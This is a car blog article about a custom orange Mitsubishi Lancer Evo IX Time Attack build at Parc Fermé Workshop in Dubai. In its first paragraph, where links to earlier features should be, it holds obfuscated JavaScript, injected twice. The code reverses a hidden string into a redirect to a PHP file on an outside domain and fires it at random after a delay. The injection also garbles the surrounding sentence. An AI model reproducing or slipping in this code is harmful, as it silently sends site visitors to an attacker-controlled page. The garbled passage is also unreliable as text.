Building your very own interpretation of the ultimate Mitsubishi Lancer Evo IX is time consuming business, even if building high-specification road and race cars is your business. It has been nearly a year since crankandpiston last caught up with Motaz Abu-Hijleh (previous features $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/mitsubishi-evo-ix-part-one-beginning-a-journey-guest-blog/” target=”_blank”>HERE and $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/mitsubishi-evo-ix-part-two-new-life-guest-blog/” target=”_blank”>HERE) who has been pursuing that objective for, well, some time now.
Motaz has had a clear vision in his mind on the eventual outcome of this meticulous build since before purchasing the car new from Mitsubishi. The delay in completion has mainly been due to customer cars taking priority over personal projects (of which Motaz has a few gems in the pipeline) and the start of a new business venture, Parc Fermé Workshop.
The range of automotive services Parc Fermé Workshop offer is vast. Vehicle storage, automotive workshop, paint, foiling, detailing, accessories outlet, servicing, maintenance, restoration and turning your vehicle into a track-day weapon to name just a few. Walking in to the storage facility is therefore like walking in to an automotive Aladdin’s cave.
The customer cars within the massive, modern and surgically clean warehouse, situated in Dubai Investment Park, cover a wide range of unattainable supercars, classics and track and drift focused machines. On our arrival we were informed that some of the drool-worthy machinery was ‘off limits’ for photography due to client confidentiality. In truth though, this was none of our concern. We were here to see one car in particular and, the good news is, that it is very nearly finished.
One thing about Motaz is very clear, he is an absolute perfectionist. The custom orange paintwork is the third or fourth respray for the Evo and the quality of the workmanship is now flawless. This Mitsubishi may be being built as a weapon for use in Time Attack, however, the attention to detail is on a level rarely seen even on show cars.
The Voltex body kit adds an appropriate amount of aggression without stepping out of the tasteful zone and entering Fast and the Furious, rice-tastic territory. Bare carbon fibre aero details and bronze Volk Racing ten-spoke CE28N rims are a reminder that this car is being built for a purpose but also help tone down the colour scheme. There is a reason why orange is rarely an option directly available from the manufacturer as it can be a little overpowering. Motaz has nailed the perfect balance and the overall aesthetic is simply stunning.
